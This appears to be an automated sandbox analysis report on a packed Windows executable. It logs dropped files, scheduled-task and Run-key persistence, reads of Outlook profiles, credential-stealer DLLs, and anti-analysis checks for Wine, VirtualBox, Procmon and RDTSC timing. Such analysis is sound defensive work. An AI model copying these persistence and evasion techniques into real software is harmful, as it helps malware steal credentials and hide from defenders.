Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe	Section loaded: netutils.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1797120 > 1048576

Source: file.exe

Static PE information: Raw size of pptkhitg is bigger than: 0x100000 < 0x19cc00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000001.00000002.2672137017.000000006CCFF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140[1].dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.1.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000001.00000002.2672137017.000000006CCFF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 1.2.file.exe.180000.0.unpack :EW;.rsrc:W;.idata :W; :EW;pptkhitg:EW;oviucogm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;pptkhitg:EW;oviucogm:EW;.taggant:EW;
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Unpacked PE file: 22.2.DocumentsHDGCGHIJKE.exe.520000.0.unpack :EW;.rsrc:W;.idata :W;bqlruwdx:EW;tmwrwawp:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;bqlruwdx:EW;tmwrwawp:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 23.2.skotes.exe.7d0000.0.unpack :EW;.rsrc:W;.idata :W;bqlruwdx:EW;tmwrwawp:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;bqlruwdx:EW;tmwrwawp:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 24.2.skotes.exe.7d0000.0.unpack :EW;.rsrc:W;.idata :W;bqlruwdx:EW;tmwrwawp:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;bqlruwdx:EW;tmwrwawp:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 26.2.skotes.exe.7d0000.0.unpack :EW;.rsrc:W;.idata :W;bqlruwdx:EW;tmwrwawp:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;bqlruwdx:EW;tmwrwawp:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	Unpacked PE file: 27.2.029a46b374.exe.e90000.0.unpack :EW;.rsrc :W;.idata :W; :EW;iqhxooog:EW;drpvrehq:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;iqhxooog:EW;drpvrehq:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe	Unpacked PE file: 28.2.43f0b859c6.exe.720000.0.unpack :EW;.rsrc:W;.idata :W; :EW;pptkhitg:EW;oviucogm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;pptkhitg:EW;oviucogm:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CAC3480 ?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ,GetCurrentProcess,GetProcessTimes,LoadLibraryW,GetProcAddress,__Init_thread_footer,__aulldiv,FreeLibrary,GetSystemTimeAsFileTime,

1_2_6CAC3480

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: 029a46b374.exe.26.dr	Static PE information: real checksum: 0x1de8b0 should be: 0x1e199c
Source: DocumentsHDGCGHIJKE.exe.1.dr	Static PE information: real checksum: 0x322e0c should be: 0x326d33
Source: 43f0b859c6.exe.26.dr	Static PE information: real checksum: 0x1c07b8 should be: 0x1c074a
Source: random[1].exe.26.dr	Static PE information: real checksum: 0x1de8b0 should be: 0x1e199c
Source: file.exe	Static PE information: real checksum: 0x1c07b8 should be: 0x1c074a
Source: random[1].exe0.26.dr	Static PE information: real checksum: 0x1c07b8 should be: 0x1c074a
Source: random[1].exe.1.dr	Static PE information: real checksum: 0x322e0c should be: 0x326d33
Source: skotes.exe.22.dr	Static PE information: real checksum: 0x322e0c should be: 0x326d33

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: pptkhitg
Source: file.exe	Static PE information: section name: oviucogm
Source: file.exe	Static PE information: section name: .taggant
Source: softokn3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.1.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.1.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.1.dr	Static PE information: section name: .00cfg
Source: random[1].exe.1.dr	Static PE information: section name:
Source: random[1].exe.1.dr	Static PE information: section name: .idata
Source: random[1].exe.1.dr	Static PE information: section name: bqlruwdx
Source: random[1].exe.1.dr	Static PE information: section name: tmwrwawp
Source: random[1].exe.1.dr	Static PE information: section name: .taggant
Source: DocumentsHDGCGHIJKE.exe.1.dr	Static PE information: section name:
Source: DocumentsHDGCGHIJKE.exe.1.dr	Static PE information: section name: .idata
Source: DocumentsHDGCGHIJKE.exe.1.dr	Static PE information: section name: bqlruwdx
Source: DocumentsHDGCGHIJKE.exe.1.dr	Static PE information: section name: tmwrwawp
Source: DocumentsHDGCGHIJKE.exe.1.dr	Static PE information: section name: .taggant
Source: msvcp140.dll.1.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.1.dr	Static PE information: section name: .didat
Source: nss3.dll.1.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.1.dr	Static PE information: section name: .00cfg
Source: skotes.exe.22.dr	Static PE information: section name:
Source: skotes.exe.22.dr	Static PE information: section name: .idata
Source: skotes.exe.22.dr	Static PE information: section name: bqlruwdx
Source: skotes.exe.22.dr	Static PE information: section name: tmwrwawp
Source: skotes.exe.22.dr	Static PE information: section name: .taggant
Source: random[1].exe.26.dr	Static PE information: section name:
Source: random[1].exe.26.dr	Static PE information: section name: .rsrc
Source: random[1].exe.26.dr	Static PE information: section name: .idata
Source: random[1].exe.26.dr	Static PE information: section name:
Source: random[1].exe.26.dr	Static PE information: section name: iqhxooog
Source: random[1].exe.26.dr	Static PE information: section name: drpvrehq
Source: random[1].exe.26.dr	Static PE information: section name: .taggant
Source: 029a46b374.exe.26.dr	Static PE information: section name:
Source: 029a46b374.exe.26.dr	Static PE information: section name: .rsrc
Source: 029a46b374.exe.26.dr	Static PE information: section name: .idata
Source: 029a46b374.exe.26.dr	Static PE information: section name:
Source: 029a46b374.exe.26.dr	Static PE information: section name: iqhxooog
Source: 029a46b374.exe.26.dr	Static PE information: section name: drpvrehq
Source: 029a46b374.exe.26.dr	Static PE information: section name: .taggant
Source: random[1].exe0.26.dr	Static PE information: section name:
Source: random[1].exe0.26.dr	Static PE information: section name: .idata
Source: random[1].exe0.26.dr	Static PE information: section name:
Source: random[1].exe0.26.dr	Static PE information: section name: pptkhitg
Source: random[1].exe0.26.dr	Static PE information: section name: oviucogm
Source: random[1].exe0.26.dr	Static PE information: section name: .taggant
Source: 43f0b859c6.exe.26.dr	Static PE information: section name:
Source: 43f0b859c6.exe.26.dr	Static PE information: section name: .idata
Source: 43f0b859c6.exe.26.dr	Static PE information: section name:
Source: 43f0b859c6.exe.26.dr	Static PE information: section name: pptkhitg
Source: 43f0b859c6.exe.26.dr	Static PE information: section name: oviucogm
Source: 43f0b859c6.exe.26.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CAFB536 push ecx; ret	1_2_6CAFB549
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Code function: 22_2_0053D91C push ecx; ret	22_2_0053D92F
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Code function: 22_2_00531359 push es; ret	22_2_0053135A
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Code function: 22_2_0052EC7F push ss; ret	22_2_0052EC86
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_007ED91C push ecx; ret	23_2_007ED92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_007ED91C push ecx; ret	24_2_007ED92F

Source: file.exe	Static PE information: section name: pptkhitg entropy: 7.953897239582419
Source: random[1].exe.1.dr	Static PE information: section name: entropy: 7.064983107248317
Source: DocumentsHDGCGHIJKE.exe.1.dr	Static PE information: section name: entropy: 7.064983107248317
Source: skotes.exe.22.dr	Static PE information: section name: entropy: 7.064983107248317
Source: random[1].exe.26.dr	Static PE information: section name: entropy: 7.9854940248324064
Source: random[1].exe.26.dr	Static PE information: section name: iqhxooog entropy: 7.955129315668927
Source: 029a46b374.exe.26.dr	Static PE information: section name: entropy: 7.9854940248324064
Source: 029a46b374.exe.26.dr	Static PE information: section name: iqhxooog entropy: 7.955129315668927
Source: random[1].exe0.26.dr	Static PE information: section name: pptkhitg entropy: 7.953897239582419
Source: 43f0b859c6.exe.26.dr	Static PE information: section name: pptkhitg entropy: 7.953897239582419

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsHDGCGHIJKE.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsHDGCGHIJKE.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsHDGCGHIJKE.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsHDGCGHIJKE.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\DocumentsHDGCGHIJKE.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 029a46b374.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 029a46b374.exe

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CB255F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

1_2_6CB255F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D03F4 second address: 3CFC5D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b jmp 00007F8EA8EA37DFh 0x00000010 push dword ptr [ebp+122D01B5h] 0x00000016 js 00007F8EA8EA37E2h 0x0000001c call dword ptr [ebp+122D2B3Dh] 0x00000022 pushad 0x00000023 jnp 00007F8EA8EA37E3h 0x00000029 xor eax, eax 0x0000002b cmc 0x0000002c mov edx, dword ptr [esp+28h] 0x00000030 sub dword ptr [ebp+122D2AA9h], edi 0x00000036 mov dword ptr [ebp+122D37D9h], eax 0x0000003c mov dword ptr [ebp+122D2AF6h], ebx 0x00000042 mov esi, 0000003Ch 0x00000047 jns 00007F8EA8EA37D7h 0x0000004d add esi, dword ptr [esp+24h] 0x00000051 ja 00007F8EA8EA37EEh 0x00000057 lodsw 0x00000059 pushad 0x0000005a jmp 00007F8EA8EA37DFh 0x0000005f or di, 6EBEh 0x00000064 popad 0x00000065 add eax, dword ptr [esp+24h] 0x00000069 stc 0x0000006a mov ebx, dword ptr [esp+24h] 0x0000006e jc 00007F8EA8EA37E6h 0x00000074 push eax 0x00000075 pushad 0x00000076 push eax 0x00000077 push edx 0x00000078 push eax 0x00000079 push edx 0x0000007a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3CFC5D second address: 3CFC61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
